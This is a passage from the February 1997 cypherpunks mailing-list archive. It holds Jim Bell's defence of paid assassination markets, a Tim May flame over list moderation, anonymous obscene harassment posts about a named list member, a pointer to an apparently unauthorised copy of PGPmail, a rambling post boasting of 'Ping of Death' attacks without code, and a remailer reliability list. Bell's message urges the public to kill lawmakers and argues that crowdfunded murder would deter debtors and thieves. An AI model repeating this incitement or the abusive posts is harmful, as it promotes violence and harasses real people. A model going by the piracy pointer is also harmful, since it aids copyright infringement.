Date: Mon, 3 Feb 1997 00:38:05 -0800 (PST)
To: cypherpunks@toad.com>
Subject: Re: If guilty of a lesser crime, you can be sentenced for a greater
Message-ID: <199702030837.AAA08330@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 07:10 PM 2/2/97 -0600, ichudov@algebra.com wrote:
>jim bell wrote:
>> 
>> Better yet, set up a system to encourage the public to USE those guns (and 
>> other weapons) to get rid of the people who pass such laws, and the problem 
>> is solved.
>> 
>
>How about this scenario: I borrow 1 million dollars from, let's say,
>Phill Hallam-Baker. Not wanting to pay it back, I pay to the
>assassination bot and arrange him to be murdered.

Simple.  Even if a lendor dies (whether by murder or some other cause, 
perhaps undetermined) you (the debtor) presumably will still be obligated to 
pay back the debt, to his estate if nowhere else.  If you WEREN'T 
responsible for the killing, you should still make the payments. If you do, 
then you had no reason to kill him in the first place.

Even in the hypothetical scenario that the lendor is single, has no family 
or other likely heirs, it would be in his interest to declare that his 
estate goes to charity, including debts to it such as yours.  After all, we 
can assume that he doesn't want to get murdered, and the best way of 
avoiding that fate is to remove whatever incentive might otherwise exist for 
anyone else to kill him.  Making sure that all of his debtors are revealed 
would make it difficult for any of them to get away with murder.  Or, at 
least, prevent the fact of such a murder from eliminating the need to repay 
the debt.

If the fact of the loan were revealed, perhaps only after the lendor's 
death, and ALSO the fact that you (alone among his other debtors) refused to 
pay it back, everyone else in that society might reasonably come to the 
conclusion (absent proof or a good explanation to the contrary) that you 
were probably responsible for the death.  At the very least, they wouldn't 
want to deal with you for fear of a similar outcome (non-payment or death), 
and some of the public would be likely to punish you by donating money to 
see you dead.  They would do this, even if they had no particular link to 
the dead lendor, precisely because the publicity from such an outcome would 
deter other people who might be contemplating a similar thing.

The logic is essentially the same as the situation where a person would 
donate small amounts money to see car thieves dead, even if his car hadn't 
(yet) been stolen:  If it is essentially certain that such a penalty will 
always exist, it will tend to deter future incidents.  All car owners have a 
motivation to maintain that system.

>Another story: suppose that I negligently caused fire that destroys
>house of, say, Toto. Toto knows that if he sues me, I can arrange him
>murdered for the amount less than the amount of damages.

As he could, you.  

Remember, if your bad actions were publicized, your reputation would suffer. 
 If he's satisfied that you are guilty, and can prove it to others, you'll 
be in trouble to have the information published.

(On the other hand, if nobody knows it was you who were responsible, you 
won't suffer, but that's no worse than the status quo.)


> As a result,
>he refrains from suing me, or (if he is a mean person) pays additional 
>money to have me murdered. A suit would probably be a much better outcome.

A "suit" implies that he needs assistance to get the fact of the obligation 
enforced.  Assuming he has enough proof to win a lawsuit, he has more than 
enough proof to sour everyone else on dealing with you in the future, and 
possibly get them to donate to see you dead.  Do you risk it?


>Another story: suppose that OKSAS hired me to work for her, but then
>our relationships go south and she fires me. Again, her fate is very
>unclear, although I would probably spare her life if it were she. 
>
>The bottom line is, it becomes very hard to do ANYTHING that disappoints 
>at least somebody. That can lead to a lot of inefficiencies.

I predict that agreements will simply change to avoid (or anticipate) such 
disappointments, in order to ensure that neither party feels "taken" if 
things don't work out as planned.  Or, if there is an 
innocent-and-unavoidable breach of the agreement that harms one person, the 
other will be motivated to make it up to the first.  In effect, they'll have 
to find a mutually-agreeable middle ground.



Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Mon, 3 Feb 1997 00:32:36 -0800 (PST)
To: Sandy Sandfort <sandfort@crl.com>
Subject: Re: My Departure, Moderation, and "Ownership of the List"
In-Reply-To: <v03007800af1ab0e7d67e@[207.167.93.63]>
Message-ID: <v03007800af1b4258d2a4@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



Unfortunately, Sandy responded to my post with his own flames ("piffle,"
"disingenous," "straw man," etc.). Now he may well think his points are not
flames becuase they are "true," but to me they take the form of flames. But
then I have long disliked Sandy's method of argument. Nothing personal. But
I find Sandy's series of dismissals--in other posts from other people, not
just this one--to be "flamish." As Sandy says, your mileage may vary.

As Sandy did a too-common section-by-section disssection, I'll do the same
for his comments.

At 9:55 PM -0800 2/2/97, Sandy Sandfort wrote:

>> I chose not to write a "departing flame" (or message, but some might call
>> it a flame) when I unsubscribed several weeks ago--within an hour of
>> reading that John and Sandy had decided to make "their" list a moderated
>> list,...
>
>This is Tim's first error of fact.  I point it out not to insult
>him, but because it seriously affects much of the rest of his

How can this be an "error of fact" when I am clearly setting out a point of
view? Is it an error of fact that moderation was happening? Or is the
disagreement with my quotes around "their"? This was clearly an expression
of sarcasm. Hardly an "error of fact."

>> ...and saw no point in wasting even more of my time arguing against the New
>> Cypherpunks World Order, as the NCWO was clearly presented as a fait
>> accompli, not something ablut which opinions of list members (or even list
>> _founders_, at least not me) were being sought.
>
>Factual error #2.  There was a call for comment; Tim chose not to
>do so.  In retrospect, I wish we had run it by Tim, Eric and

John's message did not say he was thinking about instituting censorship, it
said he was in the process of setting up such a system. As for the comments
solicited, I noticed no changes whatsoever.

(I guess the several dozen comments were "errors of fact," "piffle," and
"straw men." Can anyone think of a single one of the various points made
after John's announcement that changed the plan in any significant way?)

>> I see vast amounts of bandwidth consumed by arguments about
>> moderation, about the putative biases of the Moderator and Director of the
>> New Cypherpunks World Order, about alternative moderation strategies (which
>> is stupid, as John and Sandy announced what they were going to do, not just
>> some of their preliminary thoughts), and so on. I've also noticed fewer
>> substantive essays.
>
>And I see something different.  Since previously, Tim actively
>filter the list, I'm not sure on what basis he can make his
>comparison.  As just one example (though a signicant one) Dimitri

That's an easy one, one I explained at least two or three times in the last
half year: I used Eudora Pro to sort mail into various folders. I'm quite
aware of what is going into various folders, and sometimes I even look in
them. Clear enough?


>has posted more non-flaming, on-topic posts during the two weeks
>of this experiment then in the previous several months.  In my
>opinion, other than for the hysterical posts of a very few
>self-righteous loudmouths, the overall quality of the posts has
>been far superior to what it had become in the weeks before the
>experiment began.  YMMV.

Piffle. Nonsense. If you think the overall quality of posts is superior now
to what it had been, your bias in favor of your own brain child is so
powerful that it's warped your judgment.

Who else thinks the quality is now higher?

(By the way, I don't think the proper statistical method is to "average"
all of the posts, including the Vulisgrams and the scatolological insults,
as these were easily filtered by anyone with a clue. Rather, look at the
substantive and stimulating essays, the important ones, and ask if they
have gotten better. It's disingenuous to claim that filtering out the
childish insults has improved the quality of the essays. As I said, I've
seen the opposite. You apparently think differently.)

>> (Others did too, but they seem to be tapering off as well, leaving the list
>> to be dominated by something called a "Toto," the "O.J. was framed!"
>> ravings of Dale Thorn, the love letters between Vulis and someone name
>> Nurdane Oksas,...
>
>Two points:  Since Tim largely agrees with those in opposition to
>moderation, and because of the extraordinary nature of Tim's post,
>I did not send it to the "flames" list.  It was a judgment call.

Here Sandy is really going over the line. He is saying he _almost_ filtered
my message into the reject pile, where later he claims I would have no
problem writing an essay and not knowing whether it would be filtered into
the Good or the Bad pile. He later writes, in response to my point:

"(Frankly, one of my considerations in leaving was the feeling that I
>> would never know if an essay I'd spent hours composing would be rejected by
>> Sandy for whatever reasons....
>
>Tim, I think this is disingenuous.  I have been quite clear on
>my moderation criteria.  You are too intelligent to feign such
>a lack of understanding."

So, given that I wrote my essay today, should I have known if it would be
filtered into Sandy's "Not Fit for True Cypherpunks" list, or the Approved
list? Sandy implies that he himself had to make a "judment call" on this
one.

Hey, people, this shows how fucked up things have gotten. Lord Almighty
Sandy says my long-considered, well-written essay was _almost_ shitcanned
("It was a judgment call"). And for what reason? Apparently because of a
single paragraph that mentioned "Toto" and Dale Thorn (oh, and Nurdane and
Vulis and their love relationship) in unflattering terms.

Is this the crap the Cypherpunks were founded to put up with? A petty
satrap deciding to filter out a long and substantive essay because he feels
some paragraph is insulting? What a state of affairs.

This more than anything demonstrates the truth of Lord Acton's maxim about
absolute power corrupting absolutely. Sandy feels free to flame away
(piffle, straw man, logical fallacy), but expresses umbrage at my very
accurate comments about ravings and rantings of certain list memmbers.

(Perhaps Sandy will censor this message, feeling you readers are not able
to handle my dismissal of his asinine views. This will leave the Censor
having the final word, which is "not unexpected." When a censor gets into a
debate with one of his charges, this is what often happens.)

>> * But the really important issue is this: is the _physical hosting_ of the
>> Cypherpunks mailing list coterminous with the "Cypherpunks"? If the list
>> was hosted by, say, UC Berkeley or PGP Incorporated, would we consider
>> these hosts to be the "owners" of the Cypherpunks group?...
>
>I think this is a Straw Man.  John and I have never argued that
>John "owns" cypherpunks.  When a Cypherpunk meeting is held in
>someone's living room, however, I don't think it's asking to much
>to ask everyone to follow the local rules (e.g., "no shoes in the
>house" or "no smoking" or even "no ad hominem attacks").  As Tim
>is fond of saying, "my house; my rules."  I don't think this
>means Tim "owns" a physical meeting in his house.

This is precisely the point I made!

As for John instituting a censorhip policy, as I said, he is of course free
to do it. It may be foolish to do so, but he is free to do so. And those of
us who don't like what this all means are free to leave. Sounds fair to me.

>> While John had (and has) every legal right
>> to do with his property as he wished, the effect was very negative. First,
>> Vulis found other ways to post (duh).
>
>Tim, do you really believe that John did not anticipate this?

I have no idea what John anticipated and didn't. But if he knew it wouldn't
work, why bother? Not only did Vulis actually start posting _more_, it also
consumed the list in a frenzy of posts about it.

(By the way, remember that we are here talking about the unsubscription of
Vulis by John. My reason for this reminder will be clear in a moment.)

>> Second, the list was consumed with
>> flames about this, many from Vulis, and many from others.
>
>It was consumed with flames before.  Now, at least, the vast
>majority of folks on the list don't have to read them, nor jump
>through any hoops to implement some sort of dynamic filtering
>half-measure.

We're talking about Vulis being unsubscribed, not the list censorship episode.

>> Third, journalists (who love sizzle over substance any day of
>> the week) lept into the fray with articles which gave Vulis the
>> publicity he craved.
>
>That's what journalist do, though I wasn't aware of ANY articles
>on this issue.  I would appreciate it if Tim could give us some
>citations.

Again, we're talking about the Vulis unsubscription episode. Go back to the
archives covering this period. Declan McCullough wrote an article about
this, giving Vulis much publicity. And some of us were contacted by other
journalists asking for our views, for what this meant about for the list's
espoused philosophy about anarchy, etc. (I refused to comment, of course.)


>> Fourth, it sent a message to enemies of liberty that "Even the
>> Cypherpunks have found it necessary to abandon their anarchic
>> ways."
>
>That's one message that one could take from all this, I suppose.
>I don't see it that way, nor do several list members who thanked
>me in private e-mail for improving the list.  Again, YMMV.

Once again, the subject of the section you're citing was about the Vulis
unsubscription matter. I think, Sandy, you need to read more carefully
before you denounce arguments.

>> (I'm well aware of the issues with pests like Vulis, who seek to destroy
>> virtual communities like ours. But the solution John used did not work, and
>> generated more crap....
>
>What didn't work was "local filtering" which has no feed-back
>loop to engender comity.  This might not work either, but I see
>no evidence that it has made things worse.  Remember, there are a

If you see no evidence that is has made things worse, then apparently you
haven't seen that I have not been posting for the past month. Whatever my
reasons, if you can seriously claim that you can see "no evidence" that a
change of some sort has occurred...

>hand-full of subscribers to the Flames list, 20-30 on the
>Unedited list and *2000* or so on the Moderated list.  Sure some
>of that may be due to laziness, but it would be cavalier in the
>extreme to claim that such an overwhelming acceptance of
>moderation is merely an artifact of inertia.

I still maintain, as others have as well, that a better approach would have
been to announce the "Sandy-approved" list as a new option. Changing the
main list to the censored version was a way to exploit the name of the
list, etc.

(Consider if Eric Blossom's filtered list was suddenly declared to be the
"Cypherpunks" list. This is essentially what has happened. A major screw
up. And I don't really think it germane to cite how many are on each list.
Sheep are sheep, and, frankly, about 1850 of those putative "*2000*" on the
main list are never, ever heard from.)

....
>Tim and I disagree on which definition of "censorship" applies in
>this situation.  Dale Thorne, and others, have argued, in essence,
>that there is censorship if ANY definition would apply.  I'm not
>sure time is going that far, but if so, I respectfully disagree.
>
>But let's apply Tim's above definition for the sake of argument.
>Am I, thereby, a censor?  Well I am examining "other material"
>and I am making judgments with regard to whether or not it is
>"objectionable," unfortunately for Tim's argument, I am neither
>"removing" nor "supressing" anything.  Anybody can read anything
>that gets posted to Cypherpunks--in two places.  I am sorting,
>but even my sorting can be completely avoided.

Sophistry.


>> * OK, even given that John had decided to censor "his" list, what about his
>> choice of Sandy Sandfort as the censor?
>
>John didn't choose me, I approached him.  I offered my opinion as
>to what I thought HE ought to do about the list disruptions.  The
>short version of his answer was, "if you think you can do a
>better job, go for it."  I accepted the challenge, so here I am.
>I don't want this job.  If the list members decide to keep the
                                ^^^^^^^^^^^^^^^^^^^

By the way, how is this to be "decided"? A democratic vote of the herd? Do
all "*2000*" get a vote? Are we moving from benevolent dictatorship to
direct democracy?


>> * Nor do the announced criteria make any sense. While the inane one-line
>> scatological insults have been filtered out, many "flames" make it through,
>> based on what I've seen in perusing the hks archive site. And some
>> reasonable comments get dumped in the flame bucket.
>
>Very possibly true.  Moderation is like crypto, perfection isn't
>and option.  However, a 90% solution is a heck of a lot better
>than no solution at all.  Yes, I've made what I consider to be
>errors, but I think on some, I've done a very good job overall.

You seriously think that establishing the idea that "even the Cypherpunks
group accepts the need for censorship of unpopular views" is worth the
minimal bandwidth savings of not having some of the scatological one-liners
and insults? The huge amount of list animosity (so much for "comity") and
bandwidth on this censorship issue dwarfs the bandwidth taken up by the
Vulisgrams.

>> * (Frankly, one of my considerations in leaving was the feeling that I
>> would never know if an essay I'd spent hours composing would be rejected by
>> Sandy for whatever reasons....
>
>Tim, I think this is disingenuous.  I have been quite clear on
>my moderation criteria.  You are too intelligent to feign such
>a lack of understanding.

As I noted earlier, you yourself said it was a "judgment call" for you to
not put my message in the flames pile. So, did I truly not understand your
criteria for approval (which means I wasn't feigning ignorance), or did I
understand that which you yourself acknowledged having to make a judgment
call (kissing cousin to a "guess" where I come from) on?

If you are unsure whether to dump a major, substantive essay into the
flames pile or allow it to be read by the main list, then this makes my
point precisely. I don't want Sandy Sandfort sitting in judgment on my
posts, deciding what the Cypherpunks--a group I co-founded for God's
sake!!!!--are to be allowed to read and what they may not.

(Saying what Sandy is doing is not "censorship" but is only "sorting" is
pure sophistry.)


>> maybe he might think my essay was off-topic,
>
>Clearly not a criterion I ever enunciated.

Another part of the problem is that the standards have not been clearly
stated. "Flames" have not been defined in any meaningful way. Apparently
it's OK for you to refer to my arguments as "disingenuous" and "piffle,"
but referring to someone's repeated ravings about how O.J. was framed is
"flaming."

Piffle.

>> * The decision to "moderate" (censor) the Cypherpunks list is powerful
>> ammunition to give to our opponents,
>
>Piffle.  Letting spoiled children destroy the list puts a far
>more powerful weapon in the hands of our enemies.

See what I mean? "Piffle."

("piffle, n. Foolish or futile talk or ideas")

Hardly a substantive argument. I'd call it an insult. And I'll bet that if
Phill Hallam-Baker dismisses an argument with a "foolish" one-line
characterization, it will be viewed as a flame. (Well, not now, now that
Sandy is apprised of this.)



>> and Vulis is certainly gleeful that
>> his fondest wishes have been realized.
>
>I do not have a crystal ball.  My Vulcan mind meld is in the
                                   ^^^^^^^^^^^^^^^^

Ah, a non-flamish way of making an argument. Dismissive jokes substituting
for responding to my _opinion_.


>> (I would venture a guess that a Duncan Frissell would almost certainly get a
>> libertarian rant past Sandy while a Phill Hallam-Baker might easily fail to
>> get a leftist rant past him.)
>
>I sorry Tim gives me so little credit.  Rather than merely post a
>self-serving denial, I would ask that Phill confirm or deny Tim's
>supposition.  To the best of my recollection, I have sent only
>one post of Phill's to the Flames list.  It flamed Jim Bell.  As
>far as moderating political rants go, I'm agnostic.

Again, look at what the Cypherpunks list has become! Because some of the
barnyard insults were getting to some people, we now have a situation where
a thoughtful commentator like Phill H-B (who I rarely agree with, by the
way, but his essays show he's thinking about issues deeply) has his stuff
sent to the scrap heap because he "flamed" Jim Bell? Or was it a critique
of Bell's "assassination politics" ideas and the way he presents them,
perhaps with a single flamish comment (a la the comment I made that caused
Sandy to almost mark my entire essay as unfit for Cypherpunks)?

I urge Phill, or others, to retrieve this offending article and repost it.
Or use "*%&$" symbols where the banned flame language was contained, so it
will pass muster with Sandy. Then we can better judge just what we're
giving up in order to have the kind of "comity" which Sandy thinks he is
creating.


--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 3 Feb 1997 00:48:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: PGPmail 4.5 exported
Message-ID: <199702030848.AAA20795@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain




There is a pgpmail45.exe at ftp.hacktic.nl/pub/replay/pub/incoming.
The file has an md5 sum of 'ffd56d7647c30152a5c9fe7616a3d9ef'.
Could somebody who bought the software check that this is the same
file.

It is presumably free for use outside of North America, since PGP
Inc. can't be expected to accept payment from foreigners... :-)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lwjohnson@grill.sk.ca (Larry Johnson)
Date: Sun, 2 Feb 1997 23:07:54 -0800 (PST)
To: cypherpunks@toad.com
Subject: About: My Departure, Moderation, and "Ownership of the List"
Message-ID: <32F5AB1A.1B49@grill.sk.ca>
MIME-Version: 1.0
Content-Type: text/plain


For what it's worth, I think that this Tim May, not being a
user of the list, has no place to talk. His type, to me,
characterate those who quit something and complain later,
knowing that some people will listen to them.

So what, if he decided to leave? It was his own choice
and he can't just come back and say everyone who stayed is
now impelled to listen to him, just because he used to
do a bunch of posts. I don't think that hardly any of
you would listened to me later if I left the list.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@zifi.genetics.utah.edu (Anonymous)
Date: Mon, 3 Feb 1997 00:19:41 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: None
Message-ID: <199702030819.BAA00723@zifi.genetics.utah.edu>
MIME-Version: 1.0
Content-Type: text/plain


Dimitri Vinyl K{rust}OfTheMonth will fuck anything that moves,
but he'd rather be fucking his own mother's dead body.

 v-v-v-@@-v-v-v
      (..)     Dimitri Vinyl K{rust}OfTheMonth






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bovine Remailer <haystack@holy.cow.net>
Date: Sun, 2 Feb 1997 22:56:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199702030637.BAA04034@holy.cow.net>
MIME-Version: 1.0
Content-Type: text/plain


Timmy May has been a source of endless embarassments to his 
sympathizers on and off the net.

          o/ Timmy May
         <|
         / >





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: winsock@rigel.cyberpass.net (WinSock Remailer)
Date: Sun, 2 Feb 1997 23:07:34 -0800 (PST)
To: cypherpunks@toad.com
Subject: Man in the Middle
Message-ID: <199702030707.XAA03474@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



Derisve Vibrator K[retin]OfTheMonth had his foreskin ripped off
last night by a vacuum cleaner.

                .-._
               {_}^ )o
      {\________//~`
       (         )   Derisve Vibrator K[retin]OfTheMonth
       /||~~~~~||\
      |_\\_    \\_\_
      "' ""'    ""'"'






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lwjohnson@grill.sk.ca (Larry Johnson)
Date: Mon, 3 Feb 1997 01:24:25 -0800 (PST)
To: Mark Henderson <mch@squirrel.com>
Subject: Re: PGP 2.1
In-Reply-To: <199702022225.OAA03367@toad.com>
Message-ID: <32F5C84E.10B9@grill.sk.ca>
MIME-Version: 1.0
Content-Type: text/plain


Mark Henderson wrote:
> 
> Larry Johnson writes:
> > Hello,
> > Can any;one tell me how to get a version of PGP 2.1?
> > Thanks
> >
> But, why do you want version 2.1?

Because the guy who wrote it was let off after that on his jail 
charges, so I'm not going to use anything he made after that if
I don't know why.
I'm not saying that he rolled over or nothin buyt I'm gonna be
paranoyd like he said in the book. I dont suposse he'd mind,
since he said it.
I'm not real smart sometimes but I'nm not a real lamer, either.
(I don't think)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lwjohnson@grill.sk.ca (Larry Johnson)
Date: Mon, 3 Feb 1997 02:59:37 -0800 (PST)
To: "Cynthia H. Brown" <cynthb@homer.sonetis.com>
Subject: Re: Trigger-Words...Trigger-Fingers
In-Reply-To: <199702021555.HAA25437@toad.com>
Message-ID: <32F5E155.2B0F@grill.sk.ca>
MIME-Version: 1.0
Content-Type: text/plain


Cynthia H. Brown wrote:
> You would need to run a sniffer at a "choke point" of an
> organisation, for example the external router to the Internet, to
> capture all of the packets to / from that organisation.  Putting a
> sniffer on some arbitrary router out there in cloud-land would
> probably not be all that productive, since there's no guarantee that
> all of the IP packets carrying a given TCP connection would take the
> same route.
> 
> Cynthia
> 
> Junk mail will be ignored in the order in which it is received.
> 
>   It is morally as bad not to care whether a thing
>   is true or not, so long as it makes you feel
>   good, as it is not to care how you got your money
>   as long as you have got it.
> 
>         - Edmund Way Teale, "Circle of the Seasons"

Thats a good thing to say. I wonder howcom no one on this list figures
that all the cool things they say at the end should be thoght about
when it comes to what everyones doing on the list, with all the carp
and the like. (I maeant _crap_)
Everyone talks like their real smart, but I wonder if their not just
a bunch of lamers if they cant get their problems fixed without doing
all the stuff their mottos and stuff say not to do.

I'm on some lists run by kids and they don't tell anyone to shut up
but they still dont have to get all that stuff from the guys advrtising
because the kids running it know how to use their computers.
It sounds like a bunch of old guys on this list, since they don't
think someone should be called a dork when they _are_ one. If their
old then maybe they could ask their kids how to get rid of all the
lamer-stuff. But if they just want the other guys on the list to
shut up then their lamer-guys themselves, probablly7.
I guess all the Canadian guys are on the flame list, eh?, because
they're all hockey players.

I'm only on the list because I got a bunch of your mail that someone
put _fuck_you_ at the top, and when I tracked him down and gave him
hell, he used my internet guys to send bogus posts to you guys.
My uncle got on his machine and fixed it so it sends itself the Ping
of Death from a remailer. Hes been doing that for years, but only to
lamers who screw with him, otherwise he minds his own business.

Theres not many girls on this list, is there?
Do you spit or swallow? (Thats a joke---you dont have to answer)
Are you married?
I bet the guys on the list dont like it because you sound a whole lot
smarter than a lot of them. Old guys think that girls arent good with
computers, except for my uncle. He has to give a forteen year old 
girl on my list a hundred dollars because she got the Ping Of Death
past his firewall when his buddies at Lost Alamo New Mexico couldnt,
and their supposed to be experts because they belong to secret stuff
and some of them are cypherpunks, too, but they don't let anyone know
about it.
Anyway, myu ncle prints out the girl-cypherpunks stuff for the girls
on my list and they think its real cool and they all want to marry
technicians so that they can make them work on the computers for them,
kind of like making them do the computer dishes, you know.

I'm supossed to be in bed, but Im not, but I have to go.
My uncle is going to be mad when he finds out I'mn on cypherpunks
but the rule is that if I get on his secret machine I can do anything
I want to. When his machine boots Duke Nukem 3D is going to boot up
and he's going to be really m-bare-assed. He will shit when he finds
out I'm on cypherpunks list but it was because of him that the guy
started sending me all that junk from you so he cant say nothing.
(I hope!!!!)
He could whack those guys sending you penis drawings and stuff, because
he had his friends at Lost Alamo set up some remailers or get into them
or something to find out who it was, but hes not supposed to interfere
with your stuff but just watch and give people hints of stuff they
already know and stuff like that. He says you guys arent lamers (even
if you cant keep penis drawings off your machine) but just dont care
anymore about fixing your problems yourself.
I still think that you should just let your kids run your machine or
just pick the guy with the coolest name, like Attila the Hun or 
Genocide or OttOmatic.

I've got to go to bed really!
p.s. - My lists go t mail from fuck@yourself.up too but we didn't
_run_ his stuff, and were only kids. My uncle says you guys did.
(I wont call you guys a _lamer_ cause that would make me a _flamer_)  

p.p.s. ->   It is morally as bad not to care whether a thing
>   is true or not, so long as it makes you feel
>   good, as it is not to care how you got your _list_
>   as long as you have got it.
> 
>         - B. D'Shauneaux, "Circle of the Eunuchs"

(You guys should really read your own scrips at the end of your
messages sometimes and see if your doing it yourselfs)

Goodnight, you have a nice name and I bet your pretty too.
Human Gus-Peter





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: winsock@rigel.cyberpass.net (WinSock Remailer)
Date: Mon, 3 Feb 1997 02:01:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Shave the Whales
Message-ID: <199702031001.CAA08382@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



The arrival of warm weather is heralded by the pig shit getting
soft in Dainty L<avabo> Vinegar's mini-cranium and the resulting
green slime seeping through his cocaine- and syphilis- damaged
nose and onto his keyboard.

 ^-^-^-@@-^-^-^
      (..)     Dainty L<avabo> Vinegar






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raph Levien <raph@CS.Berkeley.EDU>
Date: Mon, 3 Feb 1997 06:50:26 -0800 (PST)
To: cypherpunks@toad.com
Subject: List of reliable remailers
Message-ID: <199702031450.GAA01129@kiwi.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain


   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list@kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys@kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list@kiwi.cs.berkeley.edu.

$remailer{"extropia"} = "<remail@miron.vip.best.com> cpunk pgp special";
$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer@replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{'alpha'} = '<alias@alpha.c2.org> alpha pgp';
$remailer{'nymrod'} = '<nymrod@nym.jpunix.com> alpha pgp';
$remailer{"lead"} = "<mix@zifi.genetics.utah.edu> cpunk mix pgp hash latent cut ek";
$remailer{"exon"} = "<remailer@remailer.nl.com> cpunk pgp hash latent cut ek";
$remailer{"haystack"} = "<haystack@holy.cow.net> cpunk mix pgp hash latent cut ek";
$remailer{"lucifer"} = "<lucifer@dhp.com> cpunk mix pgp hash latent cut ek";
$remailer{"jam"} = "<remailer@cypherpunks.ca> cpunk mix pgp hash latent cut ek";
$remailer{"winsock"} = "<winsock@rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord";
$remailer{'nym'} = '<config@nym.alias.net> newnym pgp';
$remailer{"balls"} = "<remailer@huge.cajones.com> cpunk pgp hash latent cut ek";
$remailer{"squirrel"} = "<mix@squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{"middle"} = "<middleman@jpunix.com> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
$remailer{"dustbin"} = "<dustman@athensnet.com> cpunk pgp hash latent cut ek mix reord middle ?";
$remailer{'weasel'} = '<config@weasel.owl.de> newnym pgp';
$remailer{"death"} = "<x@deathsdoor.com> cpunk pgp hash latent post";
$remailer{"reno"} = "<middleman@cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
catalyst@netcom.com is _not_ a remailer.
lmccarth@ducie.cs.umass.edu is _not_ a remailer.
usura@replay.com is _not_ a remailer.
remailer@crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix)
(weasel squirrel)

The alpha and nymrod nymservers are down due to abuse. However, you
can use the nym or weasel (newnym style) nymservers.

The cyber nymserver is quite reliable for outgoing mail (which is
what's measured here), but is exhibiting serious reliability problems
for incoming mail.

The squirrel and winsock remailers accept PGP encrypted mail only.

403 Permission denied errors have been caused by a flaky disk on the
Berkeley WWW server. This seems to be fixed now.

The penet remailer is closed.

Last update: Mon 3 Feb 97 6:48:17 PST
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
nym      config@nym.alias.net             #**#+*#**-#+     4:51 100.00%
dustbin  dustman@athensnet.com            ---+-------+  1:50:51  99.99%
weasel   config@weasel.owl.de             ++++--+++++   1:09:14  99.85%
lead     mix@zifi.genetics.utah.edu       ++--++++++++    50:42  99.80%
balls    remailer@huge.cajones.com        ###*###+-- #     5:45  99.62%
squirrel mix@squirrel.owl.de              ++++--+++ +   1:07:30  99.46%
cyber    alias@alias.cyberpass.net        +*+ *++++*++    40:43  99.23%
winsock  winsock@rigel.cyberpass.net      -----------   3:42:43  99.09%
lucifer  lucifer@dhp.com                  +   ++++++++    47:05  99.03%
exon     remailer@remailer.nl.com          ##### #* *#     2:02  98.68%
middle   middleman@jpunix.com             ++.--.- ---+  5:48:30  98.23%
haystack haystack@holy.cow.net            ***#*+# *#-+    15:27  97.21%
extropia remail@miron.vip.best.com        ------- .-    6:28:55  96.31%
replay   remailer@replay.com               *   +++-***    15:53  93.06%
reno     middleman@cyberpass.net          +--+     --+  1:20:32  91.27%
mix      mixmaster@remail.obscura.com     +-.-_-*+     14:45:36  77.02%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
